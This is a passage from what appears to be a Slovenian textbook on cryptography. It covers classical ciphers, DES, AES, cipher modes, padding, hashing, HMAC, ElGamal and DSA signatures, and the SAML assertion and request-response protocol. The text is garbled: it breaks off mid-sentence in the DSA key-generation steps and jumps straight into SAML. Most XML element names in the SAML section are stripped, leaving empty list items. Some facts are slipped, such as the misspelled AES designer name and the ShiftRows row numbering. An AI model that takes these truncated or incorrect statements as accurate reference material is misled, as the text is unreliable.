šifrira v 18233. Za dešifriranje uporabimo obratno preslikavo, tako se šifrirano število 46399 dešifrira v 89033. Slabost tega algoritma je, posebej pri šifriranju besedila, možnost razkritja šifriranega sporočila s frekvenčno analizo. V vseh naravnih jezikih se nekatere črke in zlogi pojavljajo pogosteje kot drugi. Tako lahko, če je v šifriranem besedilu največ znakov "b" ter gre za slovenščino, sklepamo, da je zamenjava za "b" črka "n" (n je najpogostejša črka v slovenskih besedilih). Iz zgodovine je znanih več različnih šifrirnih metod z zamenjavo znakov, posebej Cezarjevo šifriranje. Pri njem črko abecede zamenjamo s črko, ki je za določeno število črk naprej v abecedi. Na primer, če je to število 4, se "a" pretvori v "d", "b" v "e", "c" v "f" itd. Cezarjevo šifriranje lahko izboljšamo z dodatkom različnih aritmetičnih operacij, kar je znano kot afino šifriranje (affine cipher) . Ta preprosta šifriranja so znana, tudi kot monoabecedna šifriranja (monoalphabetic ciphers), ker se vsak znak nešifriranega besedila zamenja z drugim, unikatnim znakov. Zaradi tega so, kot smo rekli, še posebej ranljivi. Vseeno pa lahko s kombinacijami teh šifriranj, sestavimo relativno varen protokol . 12.2.2 Večabecedna šifriranja (Polyalphabetic Ciphers) Šifriranje z zamenjavo znakov imenujemo večabecedno, če znak iz nešifriranega besedila zamenjamo z več, po možnosti poljubnim številom znakov v šifriranem sporočilu. Najbolj znano takšno šifriranje je Vigenerovo šifriranje. Vigenerovo šifriranje (Vigenere Cipher) uporablja ključ ,ki je sestavljen iz več znakov. Če vsebuje na primer m znakov, nešifrirano besedilo pa n, nešifrirano besedilo razbijemo na skupine po m znakov. Potem znak nešifriranega besedila zamenjamo s pripadajočim znakom iz ključa . Na primer: če je ključ BOJ, nešifrirano besedilo pa: JUTRI GREMO V NAPAD, lahko to šifriramo po spodnjem postopku. JUTRI GREMO V NAPAD BOJBO JBOJB O JBOJB KKESŽ RSTVP L ŽBFJE Črke spremenimo v številke od 0 (A) do 24 (Ž), črki – številki iz besedila in ključa seštejemo ter izvedemo deljenje po modulu s 25. Znana večabecedna šifriranja so še Šifriranje s knjigo (Book Cipher) in Hill-ovo šifriranje (Hill Cipher). 12.2.3 Vernamovo šifriranje (Vernam Cipher) Vernamovo šifriranje je najenostavnejše in hkrati najmočnejše, žal pa ima nekatere pomanjkljivosti, zaradi katerih se v računalniški praksi malo uporablja. Najpomembnejša težava je, da moramo za vsako nešifrirano sporočilo generirati nov ključ, torej ključ lahko uporabimo samo enkrat. Ključ mora biti tako dolg, kot je nešifrirano sporočilo. Ključ in besedilo pretvorimo v bitno obliko in nad pripadajočimi biti izvedemo operacijo ekskluzivni ali (XOR). Dešifriranje poteka tako, da nad šifriranim besedilom (oz. sporočilom) uporabimo ključ še enkrat. Če z istim ključem šifriramo dve besedili, napadalec odkrije ključ, tako da izvede operacijo XOR med tema šifriranima besediloma (nakar obe dešifrira) . Operacija XOR je sploh za šifriranja s skritim ključem zelo pomembna, saj se uporablja v skoraj vseh modernih šifrirnih protokolih (npr. DES, 3DES, AES, ...) 12.2.4 Šifriranja s premešanjem znakov (Transposition Ciphers) Šifriranje s premešanjem znakov imenujemo tudi Šifriranje s permutacijo (Permutation Cipher). Pri teh šifriranjih ne zamenjujemo znakov v sporočilu, temveč obstoječe znake premešamo, spremenimo njihov vrstni red . Na primer: Nešifrirano besedilo razbijemo na skupine (v našem primeru po tri znake, v praksi več) JUT RIG REM OVN APA D Permutacija pa je (2, 3, 1). Rezultat je potem: UTJ IGR EMR VNO PAA D Permutiranje se prav tako pogosto uporablja, kot del šifrirnih pristopov pri simetričnem šifriranju. Običajno se uporablja, kot dodatek šifriranju z zamenjavo znakov. Pogosto se pojavlja v modernih simetričnih šifriranjih, prav tako kot operacija XOR. 12.3 Moderni simetrični blokovni šifrirni algoritmi 12.3.1 DES (Data Encryption Standard) DES je bil dolgo največ uporabljan simerični blokovni šifrirni algoritem. Temelji na Feistel-ovem omrežju (Feistel Network, Feistel Cipher, glej Sliko 1) . Sestavljen je iz začetne permutacije, 16-tih rund, za vsako od njih ima en podključ (subkey) z 48 biti in končne permutacije. Začetna in končna permutacija, ki je inverzna začetni, praktično nimata kriptografske vrednosti. DES deluje na blokih velikosti 64 bitov, ključ je v osnovi prav tako 64 biten, vendar se uporablja samo 56 bitov, preostalih 8 se ali zavrže ali pa uporabi za preverjanje integritete . Blok sporočila se pred rundami razdeli na dve 32-bitni polovici. Takšno polovico nato razširimo, tako da ima 48 bitov (tako kot podključ). Nato med njo in podključem izvedemo operacijo XOR (ekskluzivni ali). Zatem ta rezultat razbijemo na 8 S-BOX-ov, ki šestbitne vhodne bite nelinearno preslikajo v 4 bitne izhode, ki se nato staknejo v 32 bitno polovico. Končno nadnjo izvedemo še permutacijo (P- BOX) . 32 bitna vhodna polovica razširjena na 48 bitov, tako da se osem bitov pojavi 48 bitni (pod)ključ dvakrat XOR S-BOX 8 S-BOX 1 S-BOX 2 . . . . . Permutacija Slika 1: Feistel Cipher za DES Pred naslednjo rundo polovici zamenjamo, tako da v vsaki rundi izmenoma izvedemo Feistel-ovo funkcijo za DES (kot smo jo opisali) nad drugo polovico. Tako da v rundi ene od polovic ne spremenimo (glej Sliko 2 ). Pomembno vlogo igra tudi generiranje 16 tih podključev iz (glavnega) ključa. Generiranje poteka tako, da najprej nad 56 bitnim ključem izvedemo začetno permutacijo (PC-1), nato razdelimo na dve polovici po 28 bitov. Obe polovici rotiramo levo za eden bit ali dva, potem pa iz vsake polovice s permutacijo (PC-2) izberemo 24 bitov (skupaj torej 48 bitov) in tako dobimo podključ. Rotacijo in permutacijo PC-2 izvedemo 16 krat (Glej Sliko 3) . Nešifrirano sporočilo Vhodna permutacija L0 R0 L1 R1=L0 xor F L2 R2=L1 xor F ....... L16 R16= L15 xor F Izhodna permutacija Sporočilo je šifrirano Slika 2: Potek DES šifriranja PC-1 permutacija izbranega 56 bitnega ključa, razdelimo na dve 28 bitni polovici <<< <<< 48 bitni podključ 1 PC-2 permutacija nad levo rotiranima in staknjema polovicama <<< <<< PC-2 permutacija 48 bitni podključ 2 nad levo rotiranima in staknjema polovicama ..... ..... ........ <<< <<< PC-2 permutacija 48 bitni podključ 16 nad levo rotiranima in staknjema polovicama Slika 3: Generiranje podključev za DES runde 12.3.2 Triple DES Ker DES ne zagotavlja več dovolj velike varnosti (vsaj ne za vojaške potrebe), zaradi velike razširjenosti DES-a pa je potrebna kompatibilnost za nazaj, so razvili Triple DES (3-DES). Triple DES je prav to, kar pravi njegovo ime, namreč sestavljen je s treh DES faz, s tem da je druga faza obrnjen DES (dešifriranje), prva in tretja pa običajni. Triple DES ima tri 56 bitne ključe, vsakega za eno fazo. Imamo možnost, da so vsi trije različni, da sta prvi in tretji ista in da so vsi trije isti. V zadnjem primeru gre pravzaprav za osnovni DES (in je rezultat isti, kot pri DES-u) – kompatibilnost za nazaj. Moč ključev je tako 168, 112 in 56 bitov respektivno. Šifriranje po fazah je torej DES šifriranje s ključem 1, DES dešifriranje s ključem 2 in DES šifriranje s ključem 3. Dešifriranje po fazah, pa je, DES dešifriranje s ključem 3, DES šifriranje s ključem 2 in DES dešifriranje s ključem 1 . 12.3.3 AES (Advanced Encryption Standard) (glej tudi stran 138 Advanced Encryption Standard) AES je bil izbran preko natečaja s katerim so iskali naslednika za DES. Izbran je bil algoritem, ki sta ga ustvarila belgijska kriptografa Joan Daemon in Vincent Rijmen. Imenovala sta ga Rijndael – po kombinaciji črk iz njunih priimkov, sedaj pa je, kot zmagovalec natečaja, znan, kar kot AES. Njegove odlike so, da ga je enostavno implementirati, tako programsko, kot strojno, je hiter in ne zahteva veliko pomnilnika. Sprejema bloke dolžine 128 bitov, ključ pa je lahko dolg 128, 192 ali 256 bitov, konstruiran je tako, da ne uporablja Feistel-ovega omrežja. Operacije ne izvaja nad biti ampak nad bajti, tako da 128 bitni vhod pretvori v matriko 4*4 bajte. Šifriranje poteka z reverzibilnimi operacijami nad končnimi polji (finite fields). Vsaka runda (skupaj jih je 10, 12 ali 14, glede na velikost ključa), sestoji iz štirih operacij nad omenjeno matriko z blokom sporočila . Operacije so: 1. ZamBajti (SubBytes) 2. Rotiranje vrstic (ShiftRows) 3. Premešanje stolpcev (MixColumns) 4. Dodajanje ključa runde (AddRoundKey) Poleg teh imamo še začetno in zaključno rundo. Pri začetni uporabimo zgolj AddRoundKey, pri zaključni pa samo SubBytes, ShiftRows in AddRoundKey. SubBytes nad vsakim bajtom sporočila uporabi 8 bitno Rijndael S-box transformacijo, ki je izpeljana iz multiplikativnega inverza (multiplicative inverse) nad končnim poljem GF(2^8). ShiftRows deluje tako, da vrstice v matriki za določen faktor rotiramo levo. Prva vrstica ostane nespremenjena, drugo vrstico rotiramo za en bajt, tretjo za dva bajta in tretjo za tri. MixColumns. Pri tej operaciji vsak stolpec sporočila, ki ga šifriramo (kot rečeno 128 bitov, matrika 4 x 4 bajtov), pomnožimo z matriko: r 0 = 2 a 0 + a 3 + a 2 + 3 a 1 r 1 = 2 a 1 + a 0 + a 3 + 3 a 2 r 2 = 2 a 2 + a 1 + a 0 + 3 a 3 r 3 = 2 a 3 + a 2 + a 1 + 3 a 0 Te operacije se izvajajo v Rijndael finite field-u, kjer seštevanje in odštevanje izvajamo preprosto z operacijo XOR, medtem ko je množenje relativno zapletena operacija . Dodajanje ključa runde (AddRoundKey ) V tem koraku izvedemo XOR operacijo med stanjem sporočila in ključem runde. Ta (pod)ključ moramo generirati iz glavnega ključa, vključene operacije so rotiranje, posebna operacija imenovana Rcon: 𝑟𝑐𝑜𝑛(𝑖) = 𝑥(254+𝑖) 𝑚𝑜𝑑 𝑥8 + 𝑥4 + 𝑥3 + 𝑥 + 1 (1) Ter Rijndael-ova S-BOX transformacija. Slika 4: AES operacije nad sporočilom v eni rundi (ByteSub, ShiftRow, MixColumns, AddRoundKey) Funkcije AES šifriranja so vključene v številna programska okolja (C/ASM, nekatere C++ knjižnice, C#/.NET 3.5, Java, Delphi, Lisp ...) ter aplikacijah za arhiviranje (7z, WinZip, RAR,...), šifriranje diska (FileVault, DiskCryptor, ...), za varne komunikacije v omrežju,... 12.4 Načini operacij (Block Cipher Modes of Operation) Ker so sporočila, ki jih šifriramo, običajno daljša, kot velikost bloka, ki ga sprejema dotični bločni simetrični algoritem, moramo poskrbeti za porazdelitev na bloke. Ti bloki se nato eden po eden šifrirajo . Poleg tega je dobro dodati še več naključnosti, sploh dodati znake, tako da je šifrirano sporočilo daljše, ponavadi moramo tudi dopolniti zadnji blok, če dolžina nešifriranega besedila ni večkratnik dolžine bloka. Doseči želimo zaupnost (confidentiality) in integriteto sporočila (integrity). Starejši algoritmi načina operacij npr. ECB, CBC, OFB, CFB, ... tega ne zmorejo izvesti naenkrat, temveč morajo dvakrat skozi. To pa zmorejo novejši algoritmi, kot so: CCM, IAPM, EAX, GCM, OCB,.. Vsi algoritmi načina operacij razen ECB, zahtevajo vektor za inicializacijo (IV Initialization Vector). Ta vektor je običajno velikosti enega bloka oziroma je dolg toliko kot dotični ključ za šifriranje. Ta vektor morata poznati obe strani, ni pa nujno, da je tajen. Pomembno je, da se isti vektor, ne uporabi dvakrat z istim ključem . 12.4.1 Elektronska kodirna knjiga (ECB Electronic Codebook) To je najenostavnejši algoritem in v bistvu sploh ni uporaben za šifriranje. Sporočilo razdeli na bloke in vsakega šifrira. Enaki nešifrirani bloki se šifrirajo v enake šifrirane bloke. 12.4.2 Veriženje šifrirnih blokov (CBC Cipher-Block Chaining) Vsak blok nešifriranega besedila, se pred šifriranjem kombinira s predhodnim blokom z operacijo XOR. S prvim blokom besedila oz. sporočila pa se z operacijo XOR kombinira inicializacijski vektor. Algoritmi CFB (Cipher FeedBack), OFB (Output FeedBack) in CTR (Counter) naredijo tokovno šifriranje na osnovi blokovnega. 12.4.3 Integriteta šifriranega sporočila Pri šifriranju sporočila, ni pomembno samo, da ga ni mogoče razpoznati, ampak tudi da med prenosom ni bilo spremenjeno. Spremeni se lahko zaradi napak ali pa ga je prestregel in spremenil napadalec. Zaradi navedenega, moramo poskrbeti tudi za integriteto sporočila. To praviloma dosežemo, s katerim MAC (Message Authentication Code) algoritmov. 12.5 Dopolnjevanje (Padding) Pri načinih operacij, kot sta ECB in CBC, mora sporočilo točno napolniti bloke, tudi zadnjega. V praksi uporabljamo več metod, najenostavnejša je, da manjkajoče znake napolnimo z ničelnimi bajti. Pri CBC največ uporabljamo metodo, pri kateri zadnji blok dopolnimo z enim bitom 1 za morebitne preostale pa bite 0. Če pa se sporočilo točno ujema z zadnjim blokom, dodamo še en blok, v katerem je prvi bit 1, vsi preostali pa 0 . 12.6 Sklep V našem času je zanesljivo šifriranje nuja. Simetrični šifrirni algoritmi so učinkoviti in v koraku s časom. Ti algoritmi so dostopni vsem, vse kar mora biti skrivno so ključi. 12.7 Literatura Wenbo Mao, Modern Cryptography, Hewlett-Packard Company, 2004 Advanced Encryption Standard, http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf, 2009 Data Encryption Standard, http://csrc.nist.gov/publications/fips/fips46-3/fips46-3.pdf, 2009 Dworkin Morris, Recommendation for Block Cipher Modes of Operation, http://csrc.nist.gov/publications/nistpubs/800- 38a/sp800-38a.pdf , 2009 http://en.wikipedia.org/wiki/Feistel_network, 2009 13 Celovitost podatkov (Data Integrity) 13.1 Uvod Celovitost podatkov nas zanima predvsem z vidika prenosa podatkov po medijih, ki niso varni pred pasivnimi in ali aktivnimi napadalci. Medtem ko s simetričnim in ali asimetričnim šifriranji, zagotavljamo tajnost prenašanih sporočil, s tehnikami za celovitost podatkov zaznamo neavtorizirano spreminjanje sporočil. Preverimo lahko tudi avtentičnost sporočil. To lahko izvedemo, tako s simetričnimi, kot tudi z asimetričnimi algoritmi. Razen pri simetričnih algoritmih s CBC so pri tem ključen faktor kriptografske zgoščevalne funkcije (MD5, SHA-1, SHA-2,..). Med simetričnimi algoritmi uporabljamo predvsem kriptografske zgoščevalne funkcije s ključem (HMAC) - to so šifrirne zgoščevalne funkcije, kot je SHA-1, dodatno obdelane s ključem, ki je za obe strani isti. Kot smo rekli uporabljamo tudi blokovne simetrične šifrirne algoritme s CBC načinom operacij (AES-CBC, 3DES-CBC, itd.) - pri teh pa ne potrebujemo kriptografskih zgoščevalnih funkcij. Od asimetričnih pa uporabljamo RSA, eliptične krivulje, ElGamal in družino algoritmov izpeljanih iz ElGamal. Tu so ponovno temelj kriptografske zgoščevalne funkcije. Asimetrični algoritmi nudijo dodatno možnost, ki jih simetrični ne, namreč z njimi lahko enolično določimo izvor, avtorstvo sporočila. To je tako imenovan elektronski podpis (digital signature). Vsaka entiteta, ki dobi sporočilo, lahko neopovrgljivo ugotovi čigavo je. 13.2 Definicija celovitosti podatkov Če so Podatki poljubna informacija, in je Ke šifrini ključ in je Ko pripadajoči overitveni ključ, potem je Zaščita celovitosti podatkov transformacija imenovana Koda za zaznavo manipulacij (MDC - Manipulation Detection Code) . Entiteta, ki iniciira komunikacijo ustvari: 𝑀𝐷𝐶 ← 𝑓(𝐾𝑒, 𝐷𝑎𝑡𝑎) Entiteta, ki prejme sporočilo, izvede preveritev: 1, č𝑒 𝑀𝐷𝐶 = 𝑓(𝐾𝑒, 𝐷𝑎𝑡𝑎) 𝑔(𝐾𝑜, 𝐷𝑎𝑡𝑎, 𝑀𝐷𝐶) = {0,č𝑒 𝑀𝐷𝐶 ≠ 𝑓(𝐾𝑒,𝐷𝑎𝑡𝑎) Transformacija sporočila Prejemnik preveri prejeto sporočilo Sporočilo in pripeta vrednost Ključ za preverbo Ko Kodirni ključ Ke Generiranje ključev Slika 1: Potek preverjanja celovitosti sporočil Med simetričnimi in asimetričnimi algoritmi preverjanja je ena od razlik to, da sta pri simetričnih kodirni in overitveni ključ enaka, pri asimetričnih, pa je kodirni ključ zasebni ključ, overitveni ključ pa javni ključ pošiljatelja . 13.3 Simetrični algoritmi Pri simetričnih algoritmih za zagotovitev celovitosti sporočil MDC imenujemo kar MAC (Message Authentication Code). Pri tem imamo dva glavna podrazreda: prvi so zgoščevalne funkcije z uporabo ključa HMAC, ki delujejo na osnovi: MD5, SHA-1, SHA-2, RIPEMD,... Drugi podrazred pa tvorijo razni blokovni simetrični šifrirni algoritmi z CBC načinom operacij . 13.4. Kriptografske zgoščevalne funkcije Kriptografske (ali tudi šifrirne) zgoščevalne funkcije v nadaljevanju kar zgoščevalne funkcije (čeprav je to širši pojem) so deterministične funkcije, ki zaporedje bitov poljubne dolžine pretvorijo v zgoščeno vrednost (digest), ki je niz bitov fiksne dolžine. Zahtevane lastnosti zgoščevalnih funkcij so : 1. Mešanje transformacij (Mixing-transformation). Vsako vhodno zaporedje bitov mora pretvorit v uniformno zaporedje, ki se ne razlikuje od poljubnega niza z isto dolžino. 2. Odpornost na trke (Collision Resistance). Zahteva, da mora biti neizračunljivo doseči zgostitev dveh različnih vhodnih vrednosti: 𝑥 ≠ 𝑦 v isto zgoščeno vrednost ℎ(𝑥) = ℎ(𝑦). Tipična dolžina zgoščene vrednosti je 160 bitov, minimalna pa 128 bitov. 3. Predpodoba (Pre-image Resistance). Zahteva, da je zgoščena vrednost dovolj velika in da iz nje ni mogoče izračunati vhodnega zaporedja 4. Učinkovitost izvedbe (Practical Efficiency). Izračun zgoščene vrednosti naj ima polinomsko časovno zahtevnost, po možnosti linearno. Zgoščevalne funkcije imajo pri šifriranju več uporabnih nalog. Z njimi iz sporočila izračunamo njegov izvleček (Message Digest) za: MAC, elektronske podpise, zaznavo podvajanja, kontrolne vsote (Checksums), ... Služijo tudi za overitve in psevdonaključne funkcije . 13.5 Celovitost in overitev sporočil z zgoščevalnimi funkcijami s ključem (HMAC) Pri tem postopku uporabljamo skrivni ključ, ki ga morata poznati obe strani(ki ga lahko vzpostavimo s katerim od asimetričnih algoritmov, npr. Diffie-Helmann). Preden sporočilo pošljemo, ga obdelamo z zgoščevalno funkcijo in s ključem ter rezultat pripnemo k sporočilu. Oseba, ki to sprejme, tudi sama obdela sporočilo z istim ključem in funkcijo. Če je rezultat isti, smo lahko skoraj povsem prepričani, da se sporočilo med potjo ni spremenilo. Ta postopek običajno imenujemo kar HMAC (Hash-based Message Authentication Code). Zgoščevalne fukcije, ki se uporabljajo so npr. MD4, MD5, SHA-0, SHA- 1, SHA-2 in druge. Trenutno se še uporablja SHA-1, se pa že tudi SHA-2 (ki pa npr. ne deluje na Windows XP SP2 in starejših). MD4, MD5 in SHA-0, se za potrebe šifriranja (skoraj) več ne uporabljajo, ker so premalo varne. 13.6 Celovitost in overitev sporočil z blokovnimi simetričnimi šifrirnimi algoritmi Namesto zgoščevalnih funkcij, lahko za potrebe MAC priredimo, kakšnega od blokovnih simetričnih šifrirnih algoritmov (npr. AES, DES, 3DES, ...) z načinom operacij CBC. Sporočilo razdelimo na bloke velikosti, kot jih sprejemajo dotični algoritmi ter zadnji blok sporočila eventualno dopolnimo (padding). Izberemo tudi ustrezen vektor za inicializacijo (IV – Initialisation Vector). Med njim in prvim šifriranim blokom izvedemo XOR logično operacijo. Ta postopek (kombinacijo trenutnega rezultata (prvi je IV) z naslednjim šifriranim blokom) nato ponavljamo dokler sporočilo ni v celoti obdelano. Končnemu MAC rezultatu dodamo IV in ju skupaj s sporočilom pošljemu drugi strani. Ta postopek imenujemo tudi CBC-MAC . 13.7 Asimetrični algoritmi in elektronski podpisi Asimetrični algoritmi v povezavi z zgoščevalnimi funkcijami, nudijo novo pomembno zmožnost – elektronski podpis (digital signature). Pri tem koristno uporabljamo dejstvo, da lahko sporočilo šifrirano z zasebnim ključem, dešifriramo s pripadajočim javnim ključem. Postopek poteka v splošnem tako, da z zgoščevalno funkcijo iz sporočila pridobimo izvleček, ki ga šifriramo z zasebnim (privatnim) ključem. Pošljemo skupaj s sporočilom, ki ga nato lahko dešifrira in preveri vsak, ki ima javni ključ originalnega pošiljatelja. Ker v splošnem vemo, čigav je zasebni ključ, ta ne more zanikati avtorstva (non-repudiation). To je pomembno pri aplikacijah, kot je spletno bančništvo. Npr. komitent banke po transakciji ne more trditi, da ni prenakazal denarja, če ga v resnici je. 13.8 Elektronski podpis z ElGamal (ElGamal signature scheme) Ta algoritem temelji na težki izračunljivosti diskretnega logaritma. Sicer se redko uporablja, ker se večinoma DSA. 1. Najprej izberemo parametre sistema. To je zgoščevalno funkcijo H, ki je »odporna na trke« (Collision-Resistant). Zelo veliko praštevilo p in generator multiplikativne grupe celih števil po modulu p, g. Ta morajo poznati vsi uporabniki sistema. 2. Generiramo privatni in javni ključ uporabnika. Zasebni ključ je naključno izbrano celo število x, tako da je 0 < x < p-1. Nato izračunamo 𝑦 = 𝑔𝑥 𝑚𝑜𝑑 𝑝 (ki je del javnega ključa). Javni ključ je tako trojček (p, g, y). 3. Podpisovanje sporočila m poteka po naslednjem postopku. Izberemo celo, naključno izbrano število k, tako da velja 0 < k < p-1 in nsd(k, p-1) = 1 ( nsd je največji skupni delitelj). Izračunamo 𝑟 ≡ 𝑔𝑘 𝑚𝑜𝑑 𝑝, 𝑠 ≡ (𝐻(𝑚) − 𝑥𝑟)𝑘−1 (𝑚𝑜𝑑 𝑝 − 1). Če je s = 0, izberemo nov k in ponovimo postopek. Drugače predstavlja par ( r, s), elektronski podpis sporočila m, ki ga je podpisal uporabnik s privatnim ključem x in javnim ključem ( p, g, y). 4. Preveritev podpisa sporočila m, pa poteka tako, da najprej preverimo, če je: 0 < r < p in 0 < s < p -1 ter nato če je: 𝑔𝐻(𝑚) ≡ 𝑦𝑟𝑟𝑠 𝑚𝑜𝑑 𝑝. V tem primeru je podpis pristen. 13.9 DSA (Digital Signature Algorithm) DSA je od leta 1991 z manjšimi popravki ameriški standard za elektronsko podpisovanje. Algoritem zajema generiranje ključev, podpisovanje sporočil in preverjanje podpisov . Pri generiranju ključev najprej izberemo ustrezne argumente algoritma, ki jih nato uporabljajo vsi uporabniki sistema. 1. Izberemo zgoščevalno funkcijo H, običajno SHA-2 (SHA-1 opuščamo). 2. Določimo dolžino ključev L in N, ki določata kako močno bo šifriranje. Sedaj že uporabljamo pare (1024, 160), (2048, 224), (2048, 256) in (3072, 256) 3. Izberemo q, ki je N-bitno praštevilo, ki ne sme biti daljše od rezultata zgoščevalne funkcije. 4. Izberemo p, L-bitno praštevilo, ki služi za modul, tako da je p – 1 večkratnik q. 5. Izberemo število g, katerega multiplikativna moč (order) po modulu p, je q. Pridobimo ga (𝑝−1) tako, da izračunamo: 𝑔 = ℎ 𝑞 𝑚𝑜𝑑 𝑝 za nek h (1. To je sestavljen element, ki je osnova za vse trditve in vsebuje več atributov in podelementov: - MajorVersion - glavna različica - MinorVersion - pomožna različica - AssertionID – enolična in unikatna oznaka trditve - Issuer – SAML organ (Authority), ki je ustvaril to trditev - IssueInstant – čas nastanka trditve izražen v UTC In naslednje izbirne elemente: - - pogoji, ki jih moramo upoštevati pri ocenitvi veljavnosti trditve. Ta element lahko izpustimo, v tem primeru se oceni, da so pogoji izpolnjeni - - element, ki vsebuje dodatne informacije koristne v določenih primerih obdelav. - - XML Signature za overitev pristnosti trditve. Element je izbiren. Ter enega ali več naslednjih elementov: - - abstrakten sestavljen element, ki je osnova drugih izpeljanih elementov - - je tudi abstrakten element, ki deduje po elementu in ga razširja z elementom - - je element, ki podaja uporabnika na katerega se nanaša trditev. Ta element vsebuje enega ali oba od naslednjih podelementov: , ki je oznaka uporabnika z njegovo varnostno domeno in imenom, , vsebuje podatke, s katerimi je dovoljeno overiti uporabnika. Ta element vsebuje nadaljnje podelemente. To so: , in - - je element, ki vsebuje informacijo, o metodi overitve, UTC času overitve ter izbirno o DNS domeni in IP naslovu sistema, ki je izvršil overitev. Nazadnje lahko vsebuje informacijo o overitvenih organih, pri katerih lahko ciljno spletno mesto, pridobi dodatne informacije o uporabniku, na katerega se nanaša trditev. Deduje po - - je element s katerim organ overitve jamči, da ima uporabnik določen atribut ali več njih. Ta element deduje po elementu in ga razširja z elementom . Element nadalje vsebuje elementa in . - - je element, ki vsebuje odločitev organa overitve o pravici uporabnika, do uporabe določenega vira. Tudi ta element deduje po in ga razširja z atributom »Resource« podanega v obliki URI in atributom »Decision«, ki lahko zavzame le vrednosti: Permit (odobreno), Deny (zavrnjeno) in Indeterminate (nedoločeno). lahko izbirno vsebuje še elementa in . Element podaja, katere akcije lahko uporabnik, izvaja nad posameznim virom. Element vsebuje enega ali več drugih varnostnih trditev ali reference nanje, na podlagi katerih je izdana overitvena odločitev. Assertion Subject Statement Subject Statement Authorization Authentication Attribute Decision Statement Statement Statement Slika 1: Poenostavljena shema SAML trditev Varnostne trditve lahko generirajo in izdajajo samo ustrezni SAML organi. To so npr.: - Microsoft s storitvijo Passport - XNSORG s platformo spletne identitete (Web Identity) www.xns.org - DotGNU s platformo Virtual Identity www.dotgnu.org - Liberty tehnologije www.projectliberty.org SAML Protokol Kot smo že navedli, je SAML varnostne trditve mogoče tvoriti in izmenjevati z različnimi protokoli, vendar se večinoma uporablja SAML zahteva-odgovor protokol (request-response protocol), ki je del SAML specifikacij in razvit posebej v ta namen. V tem z XML podanem protokolu sta dva glavna elementa. To sta element , ki ga tvori odvisna stran (oz. ciljno spletišče) in element , ki ga tvori izvorno spletišče, oziroma stran, ki daje trditve, kot odgovor na zahtevo odvisne strani. Osnova za element je »RequestAbstractType« abstraktni tip, ki vsebuje naslednje obvezne atribute: - RequestID – je oznaka zahteve, ki mora biti unikatna in ki mora biti nato v odgovoru, vsebovana v atributu »InResponseTo«. - MajorVersion - glavna različica - MinorVersion - pomožna različica - IssueInstant – čas nastanka zahteve izražen v UTC In naslednja izbirna elementa: - , ki označuje, katera vrsta odgovora ustreza strani, ki zahteva odgovor. - je XML digitalni podpis (XML Signature), ki služi za overitev zahteve Element določa SAML zahtevo in poleg elementov iz izbirno vsebuje še naslednje elemente: - je abstraktnega tipa in služi kot osnova za izpeljavo novih SAML povpraševanj (queries) - je izpeljan iz , dodatno vsebuje še referenco na element in je prav tako abstraktnega tipa - je element, ki ga uporabljamo povpraševanja, kot je: »Katere varnostne trditve vsebujejo overitvene izjave (AuthenticationStatement), za tega uporabnika?«. Ta element je izpeljan iz elementa in lahko dodatno vsebuje atribut, ki pove katero metodo overitve zahtevamo - je element, s katerim lahko v povpraševanjih podamo zahteve, kot je: »Vrni naslednje vrste atributov, za tega in tega uporabnika.« Ta element deduje po in izbirno dodaja referenco na element in atribut »Resource«. Element določa, katerega od uporabnikovih atributov naj vrne, XML atribut »Resource«, pa za kateri ciljni vir oziroma storitev. - je element, s ki omogoča povpraševanja, kot je: »Sme ta uporabnik izvajati te operacije na tem viru, na podlagi danih izkazov (evidence)?« Element razširja z obveznim atributom »Resource« in obvezno referenco na element , ter izbirno referenco na element . - ena ali več zahtev za trditve, ki imajo tu podane AssertionID atribute. - ena ali več zahtev za trditve, s tu podanimi artefakti. Request Subject Query Subject Query Authentication Attribute Authorization Query Query Decision Query AssertionId Assertion Reference Artefact (1 ali več) (1 ali več) Slika 2: Poenostavljena shema SAML zahtev Z elementom izvorno spletno mesto odgovori na zahtevo odvisne strani. Osnova zanj je abstraktni »ResponseAbstractType«, ki vsebuje naslednje obvezne atribute: - ResponseID – je oznaka odgovora, ki mora biti unikatna - MajorVersion - glavna različica - MinorVersion - pomožna različica - IssueInstant – čas nastanka odgovora izražen v UTC Naslednja izbirna atributa: - InResponseTo – je referenca na zahtevo, na katero ta odgovor odgovarja. Ta atribut je lahko izpuščen le, če odgovor (response) ni nastal zaradi zahteve ali pa v zahtevi ni mogoče razpoznati vrednosti atributa »RequestID«. - Recipient – označuje prejemnika, kateremu je namenjen ta odgovor Ter XML Signature izbirni element, s katerim lahko elektronsko podpišemo odgovor in tako zagotovimo njegovo integriteto. Element razširja »ResponseAbstractType« z referenco na element in nič, eno ali več referenc na element(e) , torej varnostne trditve. Z enim podaja stanje ustrezne SAML zahteve, z drugim pa varnostne trditve, ki so odgovor na zahtevo. Response Assertion Status (0 ali več) Slika 3: Poenostavljena shema SAML odgovora (Response) Pri odgovarjanju SAML organa na zahteve, mora vsaka varnostna trditev v odgovoru, vsebovati vsaj eno izjavo (Statement), v kateri uporabnik (Subject) popolnoma ustreza uporabniku podanem v zahtevi. Dva uporabnika sta popolnoma enaka, če v primeru, da ima Uporabnik1 element , mora tudi Uporabnik2 imeti enak element in če ima Uporabnik1 element , mora tudi Uporabnik2 imeti enak element. Če nobena varnostna trditev, pri organu overitve, ne ustreza podani zahtevi, potem element , ne sme vsebovati nobenega elementa , vsebovati pa mora element (ki je del elementa ), z vrednostjo »Success«. Izvedba SAML protokola Osnovna izvedba (Binding) SAML protokola je izpeljana s pomočjo spletnih storitev, natančneje SOAP. Kot vemo je SOAP (Simple Object Access Protocol) sestavljen iz ovojnice, podatkovne glave in telesa sporočila. SAML komunikacija s pomočjo SOAP je izvedena, kot preprost model zahtev (request) in odgovorov (response). Zahteva. SAML entiteta, ki zahteva varnostno izjavo, pošlje SAML element SAML entiteti, ki daje varnostne izjave, v SOAP telesu sporočila. V njem je lahko ena sama SAML zahteva in nič drugega. POST /SamlService HTTP/1.1 Host: www.example.com Content-Type: text/xml Content-Length: nnn SOAPAction: http://www.oasis-open.org/committees/security Primer 1: SAML zahteva overitvenemu organu (Authentication Authority) po varnostni trditvi z izjavo o pristnosti (Authentication statement) Odgovor. SAML entiteta, ki daje izjave, odgovori ali z elementom znotraj SOAP telesa sporočila ali SOAP šifro napake. Ponovno je lahko v telesu sporočila samo en element. HTTP/1.1 200 OK Content-Type: text/xml Content-Length: nnnn Primer 2: Odgovor organa overitve na zahtevo iz Primera 1 Obe strani morata zagotoviti naslednje štiri vrste overitve pristnosti (authentication): 1.Brez overitve strežnika ali odjemalca. 2.Osnovna HTTP overitev odjemalca z ali brez SSL 3.0 ali TLS 1.0. 